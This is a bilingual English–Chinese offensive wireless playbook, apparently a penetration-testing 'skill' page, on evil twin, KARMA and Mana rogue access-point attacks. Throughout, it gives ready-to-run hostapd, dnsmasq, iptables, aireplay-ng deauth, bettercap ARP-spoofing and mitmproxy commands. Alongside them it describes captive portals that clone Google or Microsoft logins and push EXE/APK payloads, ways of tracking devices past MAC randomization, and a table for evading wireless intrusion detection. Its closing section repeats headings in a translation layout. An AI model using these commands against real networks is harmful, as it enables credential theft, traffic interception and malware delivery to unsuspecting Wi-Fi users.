Evil Twin / KARMA / Mana

Stand up an AP that looks like (or is more attractive than) the legitimate target. Clients associate, you become their gateway, you intercept everything. The classic "captive portal at the airport" attack pattern, scaled to whatever the engagement requires.

搭建一个看起来像合法目标（或比合法目标更具吸引力）的 AP。客户端关联后，你就成为它们的网关，可以拦截所有流量。这就是经典的“机场 captive portal”攻击模式，并可按测试需求扩展到相应规模。

Quick Workflow

快速工作流

Discover target ESSID(s) clients are looking for (PNL — Preferred Network List)
Stand up rogue AP advertising matching ESSID(s)
(Optional) Deauth clients off legitimate AP to push them toward yours
Run captive portal / transparent MITM
Capture creds, deliver payload, or harvest sessions

发现客户端正在查找的目标 ESSID（PNL——Preferred Network List）
启动广播匹配 ESSID 的 rogue AP
（可选）将客户端从合法 AP 上 deauth，促使其转向你的 AP
运行 captive portal / transparent MITM
捕获凭据、投放 payload 或劫取会话

Variants

变体

Variant	Mechanic	Use Case
Evil Twin	Same ESSID + BSSID as legit AP	Open or PSK-known networks (ISP cafe Wi-Fi, public guest)
KARMA	Respond "yes" to every probe request	Clients with broad PNLs (most older devices)
Mana	Respond selectively to probes per-client	KARMA-aware MAC randomization defenses
Known Beacons	Beacon a list of likely-known ESSIDs	Wide-net attraction without seeing probes first
Captive Portal	Force splash page on association	Phishing, payload delivery

变体	机制	适用场景
Evil Twin	与合法 AP 相同的 ESSID + BSSID	开放网络或已知 PSK 的网络（ISP 咖啡馆 Wi-Fi、公共访客网络）
KARMA	对每个 Probe 请求都回答“yes”	PNL 广泛的客户端（大多数较旧设备）
Mana	按客户端选择性响应 Probe	可识别 KARMA 的 MAC randomization 防御机制
Known Beacons	将一组客户端可能已知的 ESSID 作为 Beacon 广播	无需先看到 Probe 即可广泛吸引客户端
Captive Portal	在关联时强制弹出 splash page	钓鱼、payload 投放

Open / PSK-Known Evil Twin

开放网络 / 已知 PSK 的 Evil Twin

Use when you know (or have cracked) the PSK.

bash

undefined

当已知（或已破解）PSK 时使用。

bash

undefined

wifiphisher — opinionated automation including portal templates

sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

airgeddon (interactive menu, good for one-off)

sudo airgeddon

→ Evil Twin attacks menu → Captive Portal

Manual: hostapd + dnsmasq + iptables redirect

cat > /tmp/hostapd.conf <<EOF interface=wlan0 driver=nl80211 ssid=CorpWiFi hw_mode=g channel=6 auth_algs=1 wpa=2 wpa_passphrase=KnownPSK wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP EOF sudo hostapd /tmp/hostapd.conf &

DHCP/DNS via dnsmasq

cat > /tmp/dnsmasq.conf <<EOF interface=wlan0 dhcp-range=10.10.10.10,10.10.10.50,12h dhcp-option=3,10.10.10.1 dhcp-option=6,10.10.10.1 address=/#/10.10.10.1 # wildcard DNS to attacker EOF sudo dnsmasq -C /tmp/dnsmasq.conf -d

undefined

cat > /tmp/dnsmasq.conf <<EOF interface=wlan0 dhcp-range=10.10.10.10,10.10.10.50,12h dhcp-option=3,10.10.10.1 dhcp-option=6,10.10.10.1 address=/#/10.10.10.1 # wildcard DNS to attacker EOF sudo dnsmasq -C /tmp/dnsmasq.conf -d

undefined

KARMA — Universal Probe Response

KARMA——通用 Probe 响应

bash

undefined

bash

undefined

hostapd-mana with KARMA mode enabled (mana_mode=1)

cat > /tmp/karma.conf <<EOF interface=wlan0 ssid=KARMA hw_mode=g channel=6 mana_loud=1 mana_macacl=0 EOF sudo hostapd-mana /tmp/karma.conf


Modern clients with MAC randomization probe with random MACs and a randomized PNL — KARMA's universal-yes response is now triggers on probes the client wouldn't actually associate to. Use Mana for better selectivity.

cat > /tmp/karma.conf <<EOF interface=wlan0 ssid=KARMA hw_mode=g channel=6 mana_loud=1 mana_macacl=0 EOF sudo hostapd-mana /tmp/karma.conf


启用 MAC randomization 的现代客户端会使用随机 MAC 和随机化 PNL 发起 Probe。KARMA 的 universal-yes 响应如今会在客户端实际上不会关联的 Probe 上触发。若需更好的选择性，请使用 Mana。

Mana — Selective Per-Client Response

Mana——选择性逐客户端响应

bash

undefined

bash

undefined

hostapd-mana (default mode is mana, not loud)

cat > /tmp/mana.conf <<EOF interface=wlan0 ssid=Free-WiFi hw_mode=g channel=6 mana_mode=1 mana_macacl=0 mana_outfile=/tmp/mana.log EOF sudo hostapd-mana /tmp/mana.conf


Mana tracks MAC → ESSID-probe-list. When that MAC associates, Mana picks one realistic ESSID from its observed probe list and responds consistently. Defeats KARMA-aware client-side mitigations.

cat > /tmp/mana.conf <<EOF interface=wlan0 ssid=Free-WiFi hw_mode=g channel=6 mana_mode=1 mana_macacl=0 mana_outfile=/tmp/mana.log EOF sudo hostapd-mana /tmp/mana.conf


Mana 跟踪 MAC → ESSID Probe 列表。当该 MAC 关联时，Mana 会从观察到的 Probe 列表中选择一个看似真实的 ESSID，并保持一致的响应。这可以规避能够识别 KARMA 的客户端侧缓解措施。

Known Beacons Attack

Known Beacons 攻击

bash

undefined

bash

undefined

eaphammer can broadcast a list of likely-known ESSIDs as actual beacons

eaphammer --essid-file likely_essids.txt --hostile-portal

likely_essids.txt: airport, cafe, hotel, office defaults from open intel


Beacons attract spontaneous association from devices whose PNLs include these names. Useful when you don't see probes (modern devices broadcast fewer probes than they used to).


eaphammer 可以将一组客户端可能已知的 ESSID 作为真实 Beacon 进行广播。Beacon 会吸引 PNL 中包含这些名称的设备自发关联。当看不到 Probe 时，此方法很有用（现代设备广播的 Probe 比过去少）。

Deauth Coercion

Deauth 强制切换

Push existing clients off legitimate AP to your evil twin:

bash

undefined

将现有客户端从合法 AP 推离，转移到你的 Evil Twin：

bash

undefined

On a different interface (or after stopping airbase-ng)

sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2


Combined with stronger signal (closer position) or higher TX power on your AP, the client roams to you on reconnection.

**Detection trade-off:** broadcast deauth is loud; targeted single-client deauth is quieter. PMF (802.11w) blocks unencrypted deauth — see `offensive-deauth-disassoc`.

sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2


如果在 AP 上使用更强信号（设备距离更近）或更高 TX 功率，客户端重新连接时就会漫游到你的 AP。

**检测权衡：**广播式 deauth 很显眼；定向的单客户端 deauth 更隐蔽。PMF（802.11w）会阻止未加密的 deauth——另见 `offensive-deauth-disassoc`。

Captive Portal / Credential Capture

Captive Portal / 凭据捕获

bash

undefined

bash

undefined

Portal options in eaphammer / wifiphisher / airgeddon include:

- Generic OAuth-style (Google/MS/Facebook clones)

- Vendor router login pages (matched to nearby AP brand)

- Corporate-themed portal harvesting AD creds

- Update-required prompts delivering EXE/APK payloads

Custom: simple Flask+iptables setup

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080 iptables -t nat -A POSTROUTING -j MASQUERADE python3 -m flask run --host=10.10.10.1 --port=8080


For high-fidelity portals, mirror the legitimate captive portal's HTML/CSS exactly. Most users skim, don't read URLs.

iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080 iptables -t nat -A POSTROUTING -j MASQUERADE python3 -m flask run --host=10.10.10.1 --port=8080


要高仿真度，应精确镜像合法 captive portal 的 HTML/CSS。大多数用户只会快速浏览，不会仔细阅读 URL。

Post-Association MITM

关联后 MITM

Once a client associates and you're their gateway:

bash

undefined

客户端关联并把你作为其网关后：

bash

undefined

Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)

mitmproxy --mode transparent --showhost --ssl-insecure

Bettercap full pipeline (sniff, ARP, DNS, JS injection)

sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"


Without portal-level CA install, modern HTTPS / HSTS / certificate pinning prevents most TLS interception. Useful targets:

- Captive portal cleartext flows
- Apps with broken pinning (run `offensive-mobile` skills against the app)
- Plain-HTTP services still in use (legacy IoT, old mgmt panels)
- DNS hijack (return attacker IPs for non-pinned services)

sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"


如果不在 portal 层面安装 CA 证书，现代 HTTPS / HSTS / certificate pinning 会阻止大多数 TLS 拦截。适合作为目标：

- Captive portal 明文流程
- pinning 失效的应用（可针对该应用运行 `offensive-mobile` skill）
- 仍在使用的纯 HTTP 服务（旧版 IoT、老旧管理面板）
- DNS 劫持（为未启用 pinning 的服务返回攻击者 IP）

MAC Randomization Defeat

规避 MAC Randomization

iOS, recent Android, and Windows 11 randomize MACs per network. They still leak per-network stable identifiers in:

Per-SSID MAC consistency (same MAC for same SSID over time)
Probe sequence numbers
802.11 IE order (manufacturer fingerprint)

bash

undefined

iOS、较新的 Android 和 Windows 11 会按网络随机化 MAC，但仍会通过以下方式泄漏针对各网络保持稳定的标识符：

每个 SSID 的 MAC 一致性（同一 SSID 随时间保持相同 MAC）
Probe 序列号
802.11 IE 顺序（制造商指纹）

bash

undefined

Cluster probes to track devices across MACs

hcxdumptool -i wlan0mon --enable_status=15 --rds=2

Analyze with hcxhash2cap / wifite-style fingerprinting

undefined

undefined

Detection Considerations

检测考量

Defender Signal	Mitigation by Attacker
Rogue AP detection (BSSID not in WIPS allow-list)	Match real BSSID exactly + suppress own AP advertisement
KARMA pattern (single AP responding to many ESSIDs)	Use Mana mode
RSSI delta (your AP closer than legit)	Run from a distance, lower TX power
Beacon timing inconsistency vs real AP	Match beacon interval, IE order
Captive portal HTML differs from real portal	Mirror exactly, refresh weekly

Modern enterprise WIPS will flag KARMA almost immediately. Mana + matched BSSID is harder to detect without active de-cloaking by defenders.

防御方信号	攻击方的缓解方式
Rogue AP 检测（BSSID 不在 WIPS allow-list 中）	精确匹配真实 BSSID + 抑制自身 AP 的广播
KARMA 模式（单个 AP 响应大量 ESSID）	使用 Mana 模式
RSSI 差异（你的 AP 比合法 AP 更近）	在更远处运行并降低 TX 功率
与真实 AP 相比，Beacon 时序不一致	匹配 Beacon 间隔和 IE 顺序
Captive portal HTML 与真实门户存在差异	精确镜像，并每周刷新

现代企业级 WIPS 几乎会立即标记 KARMA。Mana + 匹配的 BSSID 更难被检测，除非防御方主动揭穿其伪装。

Engagement Cheatsheet

测试速查表

bash

undefined

bash

undefined

1. Recon — passive observe target ESSIDs and clients (no probes from you)

sudo airodump-ng wlan0mon -w probes

2. Pick mode based on environment

- PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth

- Open networks (cafe, airport): straight evil twin or KARMA

- Heterogeneous device population: Mana

3. Stand up rogue AP

sudo hostapd-mana /tmp/mana.conf sudo dnsmasq -C /tmp/dnsmasq.conf

4. Captive portal / payload delivery / MITM

mitmproxy --mode transparent --showhost --ssl-insecure

5. Coerce specific clients if needed (deauth on legit AP)

6. Document captures, sessions, and time-on-target

---

---

Key References

关键参考

hostapd-mana: github.com/sensepost/hostapd-mana
wifiphisher: wifiphisher.org
airgeddon: github.com/v1s1t0r1sh3r3/airgeddon
KARMA / Mana original talks (DEF CON, Sensepost research)
"Probing into the Past" research on PNL exploitation
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

hostapd-mana: github.com/sensepost/hostapd-mana
wifiphisher: wifiphisher.org
airgeddon: github.com/v1s1t0r1sh3r3/airgeddon
KARMA / Mana 原始演讲（DEF CON、Sensepost 研究）
“Probing into the Past”关于 PNL 利用的研究
来源：https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

offensive-evil-twin

Original

Translation

Evil Twin / KARMA / Mana

Evil Twin / KARMA / Mana

Quick Workflow

快速工作流

Variants

变体

Open / PSK-Known Evil Twin

开放网络 / 已知 PSK 的 Evil Twin

wifiphisher — opinionated automation including portal templates

wifiphisher — opinionated automation including portal templates

airgeddon (interactive menu, good for one-off)

airgeddon (interactive menu, good for one-off)

→ Evil Twin attacks menu → Captive Portal

→ Evil Twin attacks menu → Captive Portal

Manual: hostapd + dnsmasq + iptables redirect

Manual: hostapd + dnsmasq + iptables redirect

DHCP/DNS via dnsmasq

DHCP/DNS via dnsmasq

KARMA — Universal Probe Response

KARMA——通用 Probe 响应

hostapd-mana with KARMA mode enabled (mana_mode=1)

hostapd-mana with KARMA mode enabled (mana_mode=1)

Mana — Selective Per-Client Response

Mana——选择性逐客户端响应

hostapd-mana (default mode is mana, not loud)

hostapd-mana (default mode is mana, not loud)

Known Beacons Attack

Known Beacons 攻击

eaphammer can broadcast a list of likely-known ESSIDs as actual beacons

eaphammer can broadcast a list of likely-known ESSIDs as actual beacons

likely_essids.txt: airport, cafe, hotel, office defaults from open intel

likely_essids.txt: airport, cafe, hotel, office defaults from open intel

Deauth Coercion

Deauth 强制切换

On a different interface (or after stopping airbase-ng)

On a different interface (or after stopping airbase-ng)

Captive Portal / Credential Capture

Captive Portal / 凭据捕获

Portal options in eaphammer / wifiphisher / airgeddon include:

Portal options in eaphammer / wifiphisher / airgeddon include:

- Generic OAuth-style (Google/MS/Facebook clones)

- Generic OAuth-style (Google/MS/Facebook clones)

- Vendor router login pages (matched to nearby AP brand)

- Vendor router login pages (matched to nearby AP brand)

- Corporate-themed portal harvesting AD creds

- Corporate-themed portal harvesting AD creds

- Update-required prompts delivering EXE/APK payloads

- Update-required prompts delivering EXE/APK payloads

Custom: simple Flask+iptables setup

Custom: simple Flask+iptables setup

Post-Association MITM

关联后 MITM

Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)

Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)

Bettercap full pipeline (sniff, ARP, DNS, JS injection)

Bettercap full pipeline (sniff, ARP, DNS, JS injection)

MAC Randomization Defeat

规避 MAC Randomization

Cluster probes to track devices across MACs

Cluster probes to track devices across MACs

Analyze with hcxhash2cap / wifite-style fingerprinting

Analyze with hcxhash2cap / wifite-style fingerprinting

Detection Considerations

检测考量

Engagement Cheatsheet

测试速查表

1. Recon — passive observe target ESSIDs and clients (no probes from you)

1. Recon — passive observe target ESSIDs and clients (no probes from you)

2. Pick mode based on environment

2. Pick mode based on environment

- PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth

- PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth

- Open networks (cafe, airport): straight evil twin or KARMA

- Open networks (cafe, airport): straight evil twin or KARMA

- Heterogeneous device population: Mana

- Heterogeneous device population: Mana

3. Stand up rogue AP